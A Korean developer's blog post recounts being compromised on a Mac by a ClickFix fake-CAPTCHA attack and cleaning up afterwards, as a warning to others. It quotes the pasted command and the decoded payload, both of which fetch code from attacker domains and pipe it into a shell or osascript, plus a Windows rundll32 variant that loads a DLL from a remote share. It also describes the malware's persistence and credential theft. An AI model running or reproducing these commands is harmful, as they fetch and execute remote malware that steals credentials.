봇이 아님을 증명하다가 해킹 당한 이야기 (ClickFix 공격)

로봇이 아님을 증명하려면 인증 코드를 얻는 명령을 커맨드라인에 붙여 넣으라고 해서 ‘신기한 방식이네’ 생각하면서 따라했는데요. 그 순간 해킹됐습니다.

이는 최근 유행하는 클릭픽스(ClickFix) 공격인데요. 클릭픽스 공격은 캡차(로봇이 아님을 증명하세요)로 위장해 사용자가 직접 해킹 명령를 실행하게 만드는 사회공학 공격입니다. “로봇 아님” 버튼을 클릭하면 사용자 모르게 클립보드에 명령어가 복사되고, 이후 공격자는 붙여넣기를 유도합니다.

발단: “봇이 아님을 증명하세요”

평소처럼 일하던 새벽 1시 반. 제미나이와 대화를 하다가 추천받은 어떤 사이트에 들어갔더니 로봇이 아님을 증명하라는 창이 떴습니다.

번역하면 이런 메시지인데요.

검증 단계 완료하기

당신이 로봇이 아님을 증명하려면 다음 단계를 수행해 주세요:

  1. Windows 키 + R을 길게 누릅니다.
  2. 실행(검증) 창이 뜨면, Ctrl + V를 누릅니다.
  3. 키보드의 Enter를 눌러 마칩니다.

그러면 다음과 같은 문구에 동의하는 과정을 확인하게 됩니다:

“나는 로봇이 아닙니다 – reCAPTCHA 검증 ID: 4509460”

위의 단계를 수행하여 검증을 완료해 주세요.

이미 해킹용 bash 스크립트는 클립보드에 들어와 있는 상태였습니다. (위 캡처는 사후 재방문해 윈도우에서 다시 캡처한 것입니다. 실제로는 맥으로 당했습니다.)

특이한 캡차 통과 방법이라고 생각하면서 실행했습니다. 그랬더니 검증 코드가 터미널에 떴고, 그걸 입력하자 통과했습니다.

여기까지도 아직 제가 해킹당했다는 사실을 인지하지 못했습니다.

의아한 비밀번호 입력창

캡차를 통과하고 보니 사이트는 폐쇄된 곳이었습니다. 그래서 그냥 떠났는데요.

특이한 비밀번호 입력창이 뜨기 시작했습니다.

맥에서 요구하는 평소의 시스템 비밀번호 입력창이 아니었기 때문에 무시하고 끄려고 했습니다. 이게 천만다행이었는데, 여기서 맥 비번을 입력했으면 훨씬 더 심각한 피해를 입었을 것이기 때문입니다.

여하간 창이 못 끄게 돼 있길래 ‘지금은 바쁘니 나중에 꺼야지’ 하고 창을 한쪽에 밀어 넣고 일했습니다.

그런데 창이 상당히 귀찮았습니다. 다른 창 뒤로 숨겨지지도 않고, 한쪽에 밀어 넣으면 얼마 뒤 다시 가운데로 기어나왔습니다.

이 때까지도 해킹됐다는 생각은 못하고(!) 그냥 귀찮은 프로그램이 떴구나 생각했습니다. (간혹 귀찮은 프로그램들이 있는데다… 매우 피곤한 새벽 1시 반이었다는 점을 감안해 주세요.)

일단 저 창을 끄고 싶어 맥 계정에서 로그아웃을 했다가 로그인 했습니다.

그런데 웬걸? 로그인을 하자마자 저 창이 또 떠 있는 것입니다. 저는 처음에 ‘내가 로그아웃을 안 하고 잠자기를 했나?’ 하고 생각했습니다.

그래서 이번에는 재부팅을 했습니다. 그런데 웬걸? 저 창이 또 뜨는 것입니다. 이제야 뭔가 이상하다는 생각이 들었습니다.

아까 입력한 Bash 스크립트를 찾아 봤습니다.

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'w1tan5zq. doha-neutral. digital/?ublib=WjshEsQCmUQLAFRw')"; echo ""BotGuard: Answer the protector challenge. Ref: 96964 

(안전을 위해 도메인에 띄어쓰기 했습니다.)

인증번호는 뒤의 echo로 그냥 출력하는 것이었고, 핵심은 curl로 스크립트를 받아 설치하는 것이었습니다.

공격의 내용

curl 명령을 내리면 ~/Library/LaunchAgents/plist 파일을 하나 생성하게 됩니다.

plist는 윈도우로 치면 서비스 같은 것인데요. 이것 때문에 계정 로그아웃을 했다가 다시 로그인을 해도, 재부팅을 해도 비밀번호 입력창이 떠 있었던 것입니다. 컴퓨터 로그인 즉시 실행이 되는 것이죠.

이후 제미나이에게 도움을 받았습니다.

우선 아래 명령으로 어떤 프로그램이 돌아가고 있는지 확인했습니다.

ps -ef | grep -E "osascript|applet|Python"

확인해 보니 기다란 base64 문자열을 가진 프로그램이 돌고 있었습니다.

나중에 알게된 것이지만, 런치 에이전트로 등록된 plist가 이 긴 명령을 돌리고 있었던 것입니다. 이 내용은 해독하면 아래와 같은 코드가 됩니다. (난독화돼 있는 것을 사람이 읽기 좋게 바꾼 것입니다.)

33, 34라인이 핵심적인데요. 보기 좋게 해석해 쓰면 이렇습니다. (위험하니 도메인은 띄어쓰기 했습니다.) 해커가 지정한 도메인에 요청을 보내서 애플 스크립트를 받은 다음에 바로 실행하는 것입니다.

curl --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 \
-X POST 'https://9sxgrev .pro/' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...' \
-d 'txid=e12be1e40cc9f043909b5af343f63a4a5&bmodule' \
| osascript

정리

  1. 사용자가 스크립트를 입력하면 서버에서 해킹용 스크립트(A)가 내려옴.
  2. A 스크립트는 plist를 설치. 이 plist는 상시적으로 서버에서 해킹용 스크립트를 받는 명령
  3. 이후 서버에서 다양한 스크립트가 내려와 사용자 컴퓨터 장악을 시도. 이중 하나가 컴퓨터 사용자 비밀번호 탈취 스크립트였던 것.

🤔 윈도우였다면?

나중에 윈도우로도 들어가 봤는데 윈도우에서는 아래와 같은 명령어를 줍니다. (역시 안전을 위해 도메인에 띄어쓰기 했습니다.)

rundll32.exe \\dbinsts. technovortexhub. surf\sh5hne-c8b9b4-sskjy-znq2k2of-ybay3z\usr294-verif.confirm,chk 

윈도우 정상 프로세스인 rundll32.exe를 이용해 해커의 원격 공유 폴더(UNC 경로)에 있는 악성 DLL을 직접 실행하는 명령이라고 합니다.

파일을 내 PC에 다운로드하지 않고 메모리에서 바로 로드하는 ‘파일리스(Fileless)’ 공격이라 탐지가 더 까다롭다고 합니다.


해커가 노리는 것

유출된 것이 무엇인지 확인하고 싶었는데요.

일단 맥의 이벤트 로그를 확인했습니다.

log show --predicate 'process == "curl" or process == "osascript"' --start "2026-05-06 01:00:00" --end "2026-05-06 05:00:00"

결과를 제미나이에게 분석해 달라고 하니 1시 57분부터 2시 12분까지 15분 가량 해킹이 발생했다고 했습니다.

내용은, 추가 스크립트를 다운받아 공격했는데 잘 안 됐고, 기본 사용자 권한으로 접근 가능한 브라우저 세션 쿠기, SSH 키, 브라우저 저장 비밀번호 등은 가져갔을 가능성이 있다고 했습니다. 상세 내용은 접어 뒀으니 궁금한 분은 펴 보세요.

공격과 결과 상세

해커 서버와 통신 및 추가 악성 스크립트 다운로드 (성공): curl 명령어를 사용하여 9sxgrev . pro 등 외부 서버에 접속 및 텔레그램(t . me/ax03bot)을 통한 주소 업데이트 시도
→ 서버로부터 추가 악성 AppleScript 페이로드를 성공적으로 받아와 실행함.

맥 보안 체계(SIP) 및 OSAX 우회를 통한 시스템 장악 시도 (실패): /Library/ScriptingAdditions/Adobe Unit Types.osax 등 외부 라이브러리를 로드하여 시스템 권한 상승 시도
→ macOS의 SIP 보호 기능이 안전하지 않은 라이브러리 로드를 감지하고 차단함.

TCC(보안 프레임워크) 권한 및 개인정보 접근 (부분적 성공): TCCAccessRequest()를 통해 전체 디스크, 하드웨어 조작, 연락처, 사진, 접근성 권한 등을 획득하려 시도
→ 내가 가짜 암호창에 응하지 않아 루트 권한 확보는 실패, 그러나 이미 허용된 앱 범위 내의 데이터 접근은 수행됐을 것으로 추정.

UI 조작 및 마우스 제어 (실패): TUINSCursorUIController를 통해 마우스 커서 위치를 강제로 수정하고 특정 위치 클릭을 유도
→ 약 15분간 비밀번호 입력창으로 나를 귀찮게 함. 그러나 비밀번호를 입력하지 않음.

대량의 알림을 통한 사용자 혼란 유발 (실패): 초당 수백 건의 알림 창을 띄우는 notification post rate 공격 수행
→ 실행했다고 하는데 나는 받은 알림이 하나도 없었음.

현재 활동 및 시스템 메타데이터 수집 (성공): UIIntelligenceSupport 등을 이용해 현재 실행 중인 앱, 사용자 활동 내역, 시스템 기본 정보 수집
→ 사용자 식별 ID(txid)와 함께 수집된 정보가 공격자 서버로 전송됐을 것으로 보임.

파일 시스템 인덱스 검색 (성공): CoreSpotlight 엔진에 접근하여 맥 내부의 파일 색인 데이터 탐색
→ 특정 키워드(암호, 지갑 등)가 포함된 민감한 파일의 목록과 위치 정보를 파악했을 것으로 보임.

클립보드 데이터 가로채기 (성공): com.apple.pasteboard.1 서비스에 지속적으로 연결하여 실시간 복사 데이터 감시
→ 감염 시간 동안 클립보드에 저장되었던 텍스트를 탈취했을 것으로 보임.

다행히 저는 브라우저 비번은 털리지 않았습니다. 파이어폭스에 기본 비번을 걸어 놓고 사용하고 있었기 때문입니다.

😱 맥 사용자 비밀번호를 입력했다면?

만약 제가 비밀번호 창에 맥의 계정 비밀번호를 입력했다면 더욱 심각한 상황이 됐을 것입니다.

관리자 권한을 획득하면 키 로거(모든 키 입력을 캡쳐해 해커의 서버로 전송하는 도구)와 스크린 캡처 도구를 심을 수 있게 됩니다.

또, 맥의 키체인에 들어있는 모든 비밀번호가 털렸을 것입니다.

게다가 시스템 깊숙이 악성 코드를 심어서 OS를 포맷해야 했을지도 모른다고 하네요.

다행히(?) 해커가 어색한 비번 입력 창을 띄우는 바람에 최악은 면했습니다.

수습 과정

아래는 사건 발생 직후 수행한 조처들입니다.

인터넷 차단

우선 이런 멀웨어는 발견 즉시 인터넷을 차단해야 합니다. 그래야 차분히 생각하면서 조처를 할 수 있습니다.

실행중인 해킹 프로그램 제거

~/Library/LaunchAgents/ 폴더로 가서 오늘 생성된 plist 파일이 있는지 찾아 봤습니다. com.fotencmkyrzlkzgd.plist라는 파일이 방금 생성됐더군요.

아래 명령으로 unload를 하고 삭제했습니다. 삭제부터 하면 안 되고(그럼 아마 재부팅해야 사라질 겁니다) unload를 해야 합니다.

# 1. 실행 등록 해제
launchctl unload ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist

# 2. 파일 완전 삭제
rm ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist

# 3. 현재 실행 중인 프로세스 다시 한번 확인 후 종료
killall osascript

unload 즉시 비밀번호 입력 요구 창이 사라졌습니다. 프로세스 리스트에 나타나던 이상한 프로그램들도 죽었습니다. (killall osascript)

제 경우는 파일을 바로 삭제하지 않고 분석용으로 별도 보관했습니다.

세션 정리

브라우저 쿠키가 모두 털렸을 가능성이 있으므로 현 브라우저에서 로그인된 서비스들에 접속해 모두 로그아웃하고 다시 로그인했습니다. 이렇게 해야 유출된 인증 쿠키를 무효화할 수 있습니다.

그러지 않으면 가져간 쿠키를 다른 브라우저에 주입해서 로그인 절차를 건너뛸 수 있습니다. 이러면 이중인증도 소용 없습니다. 서비스 입장에서는 이미 로그인한 사람이니까요.

좀더 쉽게 말하면 인증 쿠키는 일종의 출입증입니다. 아이디, 비번과 이중인증을 사용하는 로그인 절차는 신원 확인 절차고요. 출입증을 들고 오면 신원 확인을 다시 하지 않는 이치와 마찬가지입니다.

구글, GitHub, Slack, Facebook, X 같은 서비스들에서 모두 로그아웃하고 다시 로그인했습니다.

텔레그램과 카카오 같은 메신저도 로그아웃하고 다시 로그인했습니다.

악성 코드 검사

제미나이가 알려준 맥용 백신 Malwarebytes를 설치하고 스캔을 했습니다. 다행히 plist 외 추가 감염된 것은 없다고 나왔습니다.

SSH 키 정리

제 경우 SSH 키 폴더가 털렸을 가능성이 있는 것이 가장 피곤했습니다.

키를 새로 생성한 뒤, 관리하는 모든 서버에 들어가서 공개키를 새로 등록했습니다.

해커가 키와 .ssh/config를 털어갔다면 제가 관리하는 모든 서버의 주소와 열쇠를 들고 있는 것이니까요.

또한 GitHub에 등록된 SSH 키도 갱신했습니다.

비밀번호

다행히 저는 파이어폭스 기본 비번을 걸어 두고 웬만한 서비스에는 모두 이중인증을 걸어둔 터라 비밀번호 변경은 비교적 처리하기 수월했습니다.

그렇지 않았다면 비번들을 변경하느라 매우 피곤해졌을 것입니다.

구글에 신고하고 나무위키 정보 업데이트

제가 방문한 사이트는 몇년 전 폐업한 곳인데 사이트만 남아서 멀웨어 유포처로 악용되고 있던 곳입니다. 아마 사이트 자체도 감염당한 것으로 보입니다.

그런데 구글 검색에 서비스명으로 검색하면 맨 위에 나온다는 게 문제였습니다. 때문에 제미나이가 이 사이트를 알려 주고 저를 보낸 것이었습니다.

그래서 구글에 사이트를 신고하고, 나무위키에 해킹 조심하라고 정보도 업데이트했습니다.

결론 및 교훈

이상한 프로그램이 관리자 권한을 달라고 비번을 입력하라고 하면 의심부터 합시다. 이 덕분에 결정적인 타격을 피했습니다. 이게 단연 중요한 교훈입니다.

저 같은 IT 전문가도 얼마든지 무심코 해킹을 당할 수 있다는 것을 새삼 깨닫게 됐습니다. 새벽에 2시간 넘게 날렸습니다.

AI가 추천해 준 사이트들을 그냥 믿으면 안 됩니다. 이게 저에게는 심리적 허점이었습니다.

웹사이트가 검증을 목적으로 로컬에 명령을 입력하라고 하면 클릭픽스 공격일 확률이 매우 높습니다.

해킹을 인지하자마자 인터넷을 끊읍시다.

AI가 해킹 대응도 친절히 알려줍니다. 병을 줬지만 약도 주네요.

브라우저에 중요한 서비스의 비번을 저장하지 맙시다. 패스워드 관리 프로그램(예컨대 GNU Pass 같은 것)을 사용하는 편이 좋습니다.

중요한 서비스들은 2중 인증을 꼭 겁시다.

카테고리

17년차 풀스택 웹 개발자 Mytory입니다

웹 개발에서도 중요한 것은 개념입니다.
이 블로그에는 제가 개발하며 익힌 개념들을 정리합니다.

워드프레스를 오래 다뤄 왔고 강의도 두 편 찍었습니다.
– 인프런 “워드프레스 제대로 개발하기 어드민 편, 클라이언트 편
– 클래스101 “누구나 할 수 있는 워드프레스 홈페이지 만들기 – 기획부터 출시까지 한 방에 OK

유튜브 채널에 워드프레스 관련 팁들을 올리고 있습니다.

👉 소개 더 보기

대표글

댓글 남기기